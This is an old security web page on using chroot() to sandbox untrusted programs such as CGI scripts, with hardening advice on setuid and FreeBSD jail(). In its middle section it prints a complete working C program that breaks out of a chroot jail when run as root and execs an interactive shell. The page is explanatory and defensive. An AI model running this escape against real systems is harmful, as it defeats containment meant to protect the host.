This page details how the chroot() system call
can be used to provide an additional layer of security when running untrusted
programs. It also details how this additional
layer of security can be circumvented.
An introduction to chroot()
chroot() is a Unix system call that is often used
to provide an additional layer of security when untrusted programs are
run. The
kernel on Unix varients which support chroot()
maintain a note of the root directory each process on the system has. Generally
this
is "/", but the chroot() system call can change
this. When chroot() is successfully called, the calling process has its
idea of
the root directory changed to the directory given
as the argument to chroot(). For example after the following line of code,
the
process would see the directory "/foo/bar" as
its root directory.
chdir("/foo/bar");
chroot("/foo/bar");
Important:
When using chroot() in anger you need more than the above code; see below
for details.
Note the use of the chdir() call before the chroot()
call. This is to ensure that the working directory of the process is within
the
chroot()ed area before the chroot() call takes
place. This is due to most implementations of chroot() not changing the
working directory of the process to within the
directory the process is now chroot()ed in.
This means that after the chroot() call, an open("/",O_RDONLY)
would open the same directory as an
open("/foo/bar",O_RDONLY) call before the chroot().
Due to the change in the root directory, the area
which a chroot()ed program lives in will require various files and programs
for
sane operation. For example, the following files
are required for the sane operation of the basic shell interpreter sh within
a
chroot()ed environment.
File
Usage
/bin/sh
The binary for sh
/usr/ld.so.1
Dynamically link in the shared object libraries
/dev/zero
Ensuring that the pages of memory used by shared objects
are clear
/usr/lib/libc.so.1
The general C library
/usr/lib/libdl.so.1
The dynamic linking access library
/usr/lib/libw.so.1
Internationalisation library
/usr/lib/libintl.so.1
Internationalisation library
/usr/platform/SUNW,Ultra-1/lib/libc_psr.so.1
"Processor Specific Runtime" - contains replacements for
certain library functions (i.e. memcpy) hand coded in faster
assembly.
It should be noted that the more complex and larger
a program gets, the more support files it will use. For example, perl requires
a
very large number of files and directories to
work within a chroot()ed environment - 2610 files and 192 directories for
a reasonable
installation.
Breaking chroot()
Whilst chroot() is reasonably secure, a program
can escape from its trap. So long as a program is run with root (ie UID
0)
privilages it can be used to break out of a chroot()ed
area. For a user to do this, they would need access to:
C compiler or a Perl interpreter
Security
holes to gain root access
It should be noted that this document was written
with protecting web servers from rogue CGI scripts in mind. Therefore it
is not
unreasonable to assume that a user has access
to a Perl interpreter. It is then a matter for the user to gain root access
via security
holes on the box running the web server. Whilst
this is outside the topic of the document, an attacker could make use of
application
programs which are setuid-root and have security
holes within them. In a well maintained chroot() area such programs should
not exist. However, it should be noted that maintaining
a chroot()ed environment is a non-trival task, for example system patches
which fix such security holes will not know about
the copies of the programs within the chroot()ed area. Ensuring that there
are no
setuid-root executables within the padded cell
is going to be a must.
To break out of a chroot()ed area, a program should
do the following:
Create a temporary directory in its current working directory
Open the current working directory
Note: only required if chroot() changes the calling program's working directory.
Change the root directory of the process to the temporary directory using chroot().
Use fchdir()
with the file descriptor of the opened directory to move the current working
directory outside the
chroot()ed
area.
Note: only required if chroot() changes the calling program's working directory.
Perform chdir("..") calls many times to move the current working directory into the real root directory.
Change the
root directory of the process to the current working directory, the real
root directory, using chroot(".")
Once the above has been done, the program can
run functions as required. A natural function would be to exec() a command
interpreter like sh over the current program.
The following C program is an example of the attack outlined above. A Perl
version is
possible, although it is not shown below.
The following code is known to work under Solaris
and Linux. It is likely to work under most (if not all) Unix varients which
have the
chroot() system call thanks to how it works[1].
Breaking chroot()
#include
<stdio.h>
#include
<errno.h>
#include
<fcntl.h>
#include
<string.h>
#include
<unistd.h>
#include
<sys/stat.h>
#include
<sys/types.h>
/*
** You should
set NEED_FCHDIR to 1 if the chroot() on your
** system
changes the working directory of the calling
** process
to the same directory as the process was chroot()ed
** to.
**
** It is
known that you do not need to set this value if you
** running
on Solaris 2.7 and below.
**
*/
#define
NEED_FCHDIR 0
#define TEMP_DIR "waterbuffalo"
/* Break out of a chroot() environment in C */
int main()
{
int x;
/* Used to move up a directory tree */
int done=0; /* Are we done yet ? */
#ifdef NEED_FCHDIR
int dir_fd; /* File descriptor to directory
*/
#endif
struct stat sbuf; /* The stat() buffer */
/*
** First
we create the temporary directory if it doesn't exist
*/
if (stat(TEMP_DIR,&sbuf)<0) {
if (errno==ENOENT) {
if (mkdir(TEMP_DIR,0755)<0) {
fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
strerror(errno));
exit(1);
}
} else {
fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
strerror(errno));
exit(1);
}
} else if (!S_ISDIR(sbuf.st_mode)) {
fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
exit(1);
}
#ifdef NEED_FCHDIR
/*
** Now we
open the current working directory
**
** Note:
Only required if chroot() changes the calling program's
**
working directory to the directory given to chroot().
**
*/
if ((dir_fd=open(".",O_RDONLY))<0) {
fprintf(stderr,"Failed to open "." for reading - %s\n",
strerror(errno));
exit(1);
}
#endif
/*
** Next
we chroot() to the temporary directory
*/
if (chroot(TEMP_DIR)<0) {
fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
strerror(errno));
exit(1);
}
#ifdef NEED_FCHDIR
/*
** Partially
break out of the chroot by doing an fchdir()
**
** This
only partially breaks out of the chroot() since whilst
** our current
working directory is outside of the chroot() jail,
** our root
directory is still within it. Thus anything which refers
** to "/"
will refer to files under the chroot() point.
**
** Note:
Only required if chroot() changes the calling program's
**
working directory to the directory given to chroot().
**
*/
if (fchdir(dir_fd)<0) {
fprintf(stderr,"Failed to fchdir - %s\n",
strerror(errno));
exit(1);
}
close(dir_fd);
#endif
/*
** Completely
break out of the chroot by recursing up the directory
** tree
and doing a chroot to the current working directory (which will
** be the
real "/" at that point). We just do a chdir("..") lots of
** times
(1024 times for luck :). If we hit the real root directory before
** we have
finished the loop below it doesn't matter as .. in the root
** directory
is the same as . in the root.
**
** We do
the final break out by doing a chroot(".") which sets the root
** directory
to the current working directory - at this point the real
** root
directory.
*/
for(x=0;x<1024;x++) {
chdir("..");
}
chroot(".");
/*
** We're
finally out - so exec a shell in interactive mode
*/
if (execl("/bin/sh","-i",NULL)<0) {
fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
exit(1);
}
}
This topic has been discussed on the security
column of SunWorld Online which is written by Carole Fennelly; the August
1999 and
January 1999 editions cover most of the chroot()
topics. In the August 1999 edition Carole goes into how to prevent the
attack
above from working - the method is a nasty hack
involving fsdb (the file system debugger) and a temporary file system[2].
Basically
the method involves fixing the ".." link at the
root of the temporary file system so that it points to the root of the
file system in much the
same way that ".." at the root directory does.
It should be noted that the attack above is quite
well known. The fact that it was possible[3] was alleuded to in "An evening
with
Berferd"[4] An exploit[5] against the wu-ftpd
FTP daemon was also posted to the BugTraq mailing list on 1999-03-25. The
post
containing the exploit is held within the BugTraq
archives - see http://www.securityfocus.com/archive/1/12962
for details.
Finally it should be noted that not all version
of Unix are vulnerable to this attack. FreeBSD 4.x and above have a better
chroot()
system call. It can be made to fail if the process
has any file descriptors open on a directory. This works by stopping the
attack above
which essentially works due to a file handle
being open on a directory.
Have a look at the FreeBSD 4.x manual page for
chroot() for more details. Also have a look at the manual page for jail()
which uses chroot() and can limit a process further
under FreeBSD.
Coding with chroot() in anger
A very important aspect of writing secure code
is the principle of "least privilage". That is, the code should run as
the least powerful
user which is able to do the task required.
The call to chroot() is normally used to ensure
that code run after it can only access files at or below a given directory.
Originally,
chroot() was used to test systems software in
a safe environment. It is now generally used to lock users into an area
of the file
system so that they can not look at or affect
the important parts of the system they are on. For example, the most common
use of
chroot() is ensuring that when user of an anonymous
FTP site can not view important system configuration files[6]
This normally means that the user will not be
running as root. If this is the case the call to chroot() should look something
like the
following:
chdir("/foo/bar");
chroot("/foo/bar");
setuid(non zero UID);
Where non zero UID is the UID the user should
be using. This should be a value other than 0, i.e. not the root user.
If this is
done there should be no way to gain root privilages
unless an attacker uses something within the chroot() jail to gain those
privilages.
The seteuid() call should not be used if it can
be helped as this does not change the real UID of the process, only its
effective
UID. It is possible of a process which has a
real UID of 0 to do a seteuid(0) to regain root privilages even if its
effective UID is
not 0 - its the real UID which matters.
There are some cases where it is not easily possible
to make use of the setuid() call. In these cases, seteuid() could be
looked at. However the developer has to bear
in mind that it is a simple hop-skip-seteuid(0) for a process to regain
its root
privilages and then use the method above to break
out of the chroot() jail. The only real reason for making use of the
seteuid() call is if the process needs to do
something as root on behalf of the user. One example of this is the use
of PASV FTP
connections as the FTP server will often use
ports in the range of 1 to 1024 which requires root privilages.
Such situations can be coded around, however they
tend to have their own problems as well.
[1]
The root directory (i.e. /) is stored
within each process's entry in the process table. All the chroot() system
call does is to
change the location of the root
directory for that process.
Under Solaris the location of the
root directory is stored in the user structure as a pointer to a vnode
structure. i.e.
user.u_rdir is a struct vnode *.
The user structure, available from /usr/include/sys/user.h, can be
found by referencing the p_user
entry in the proc structure which even process is given. See
/usr/include/sys/proc.h for details
of the proc structure.
[2]
It involves a temporary file system
as fsck would complain bitterly if it was run over a file system which
had this protection
method run over it.
[3]
Which got me thinking in the first
place about how you could do the above
[4]
"An evening with Berford in which
a Cracker is Lured, Endured and Studied" is a document written by Bill
Cheswick which cronicles
a crackers actitivies after being
lured in a chroot()ed padded cell.
[5]
The realpath() buffer over-run is
used in this one
[6]
i.e. /etc/passwd on systems which
do not use a shadow password file